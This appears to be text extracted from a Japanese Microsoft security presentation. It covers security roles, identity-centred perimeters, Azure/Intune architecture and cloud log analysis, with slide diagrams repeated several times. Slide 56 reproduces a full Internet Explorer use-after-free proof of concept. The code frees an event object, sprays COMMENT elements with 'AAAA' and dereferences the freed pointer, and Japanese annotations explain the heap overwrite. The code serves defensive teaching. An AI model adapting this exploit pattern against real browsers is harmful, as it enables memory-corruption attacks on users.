3. Chief Security Officer ?Advisor Officer ?
Chief Information Officer @security corp.
Monitor SOA KPI
Think Security from IT
and daily life
Technology
CIA PDCASROI
Chief Security Advisor
高橋 正和
日本マイクロソフト株式会社 チーフセキュリティアドバイザー
56. Use After Freeによる任意データの書き込み<html>
<script>
1.
// Create ~ 200 comments using the randomly selected three character string AAA, will
change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
Array1[i] = document.createElement("COMMENT");
Array1[i].data = "AAA";
}
var Element1 = null;
2.
// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{
Element1 = document.createEventObject(Value1);
// Create the object of the IMG tag
3.
document.getElementById("SpanID").innerHTML = "";
// Set parent object to null to trigger heap free()
4.
window.setInterval(FOverwrite, 50);
// Call the overwrite function every 50 ms
}
5.
// Function attempts to overwrite heap memory of deleted object
and then access object to trigger crash
function FOverwrite()
{
buffer = "¥uAAAA¥uAAAA¥uAAAA¥uAAAA~
¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA~
¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA~
¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA~
¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA~
¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA¥uAAAA~
¥uAAAA¥uAAAA¥uAAAA";
for (i = 0; i < Array1.length; i++)
{
Array1[i].data = buffer; // Set comment data to buffer,
try to overwrite heap memory of deleted object
}"
6.
var a = Element1.srcElement; // Access the pointer to the
deleted object, trigger crash
}
7.
</script>
<body>
8. <span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /> </span>
9.
</body> </html>
</body>
</html>
“COMENT” element
var Element
EventObject(value1)
-- IMG --
var Array1
“AAA”
x200
"SpanID“ element
(.innerHTM)
① - ②
“SpanID”のinnerHTMLが無
くなったので、”SpanID”自
体がFreeされる
“SpanID”の子として生成さ
れた、EventObjectもFreeさ
れる
“COMENT” element
var Element
EventObject(value1)
-- IMG --
var Array1
“AAA”
x200
"SpanID“ element
(.innerHTM)
③
EventObjectはFree済みのため、Array1で上書
きをされているが、var Elementは、このアド
レスを指している
var Elementから仮想関数 , srcElementを呼び
出そうとするが、関数のアドレスが、“AAAA”
で上書きをされている
“COMENT” element
var Element
EventObject(value1)
-- IMG --
var Array1
“AAA”
x200
"SpanID“ element
(.innerHTM)
Array1[200]
“AAAAAAAAAAAAAAA
AAAAAAA”
④ - ⑥
69. セキュリティ境界は、ネットワークからIDに移行
デバイス管理安全な接続
Office 365 Dynamics
Azure
社外の関係者 外部サービス
• 社内外での
安全な
データ交換
• 一元的な
デバイスの
管理
• 社内外の
ID統合(SSO)
• 多要素認証
Azure
RMS
Azure
ADP
Intune
Express
Route
社内ネットワーク
認証基盤
データ保護
(暗号化)
柔軟で強靭な IT 基盤
管理基盤
ネットワーク
保護
Windows Server
2012 R2
Private Cloud
安全なサーバ
Direct
Access
社内ネットワークの外のPCを社内
ネットワークと同様の管理し、社
内ネットワークへの接続を提供
社内 / Cloud間を
専用線・VP接続
ATP ATA
• 高度なマルウエア対策
• 安全なWeb閲覧
• 認証への攻撃検知
ID
ID
ID
ID
ID
ID
ID
ID
ID
70. セキュリティ境界は、ネットワークからIDに移行
デバイス管理安全な接続
Office 365 Dynamics
Azure
社外の関係者 外部サービス
• 社内外での
安全な
データ交換
• 一元的な
デバイスの
管理
• 社内外の
ID統合(SSO)
• 多要素認証
Azure
RMS
Azure
ADP
Intune
Express
Route
社内ネットワーク
認証基盤
データ保護
(暗号化)
柔軟で強靭な IT 基盤
管理基盤
ネットワーク
保護
Windows Server
2012 R2
Private Cloud
安全なサーバ
Direct
Access
社内ネットワークの外のPCを社内
ネットワークと同様の管理し、社
内ネットワークへの接続を提供
社内 / Cloud間を
専用線・VP接続
ATP ATA
• 高度なマルウエア対策
• 安全なWeb閲覧
• 認証への攻撃検知
ID
ID
ID
ID
ID
ID
ID
ID
ID
IDM
IDM
ID
71. 人・デバイス・データとともにログも分散する
デバイス管理安全な接続
Office 365 Dynamics
Azure
社外の関係者 外部サービス
• 社内外での
安全な
データ交換
• 一元的な
デバイスの
管理
• 社内外の
ID統合(SSO)
• 多要素認証
Azure
RMS
Azure
ADP
Intune
Express
Route
社内ネットワーク
認証基盤
データ保護
(暗号化)
柔軟で強靭な IT 基盤
管理基盤
ネットワーク
保護
Windows Server
2012 R2
Private Cloud
安全なサーバ
Direct
Access
社内ネットワークの外のPCを社
内ネットワークと同様の管理し、
社内ネットワークへの接続を提供
社内 / Cloud間を
専用線・VP接続
ATP ATA
• 高度なマルウエア対策
• 安全なWeb閲覧
• 認証への攻撃検知
ID
ID
ID
ID
ID
ID
ID
ID
ID
72. クラウドに収集し分析するという考え方
デバイス管理安全な接続
Office 365 Dynamics
Azure
社外の関係者 外部サービス
• 社内外での
安全な
データ交換
• 一元的な
デバイスの
管理
• 社内外の
ID統合(SSO)
• 多要素認証
Azure
RMS
Azure
ADP
Intune
Express
Route
社内ネットワーク
認証基盤
データ保護
(暗号化)
柔軟で強靭な IT 基盤
管理基盤
ネットワーク
保護
Windows Server
2012 R2
Private Cloud
安全なサーバ
Direct
Access
社内ネットワークの外のPCを社
内ネットワークと同様の管理し、
社内ネットワークへの接続を提供
社内 / Cloud間を
専用線・VP接続
ATP ATA
• 高度なマルウエア対策
• 安全なWeb閲覧
• 認証への攻撃検知
ID
ID
ID
ID
ID
ID
ID
ID
ID
IDM
ID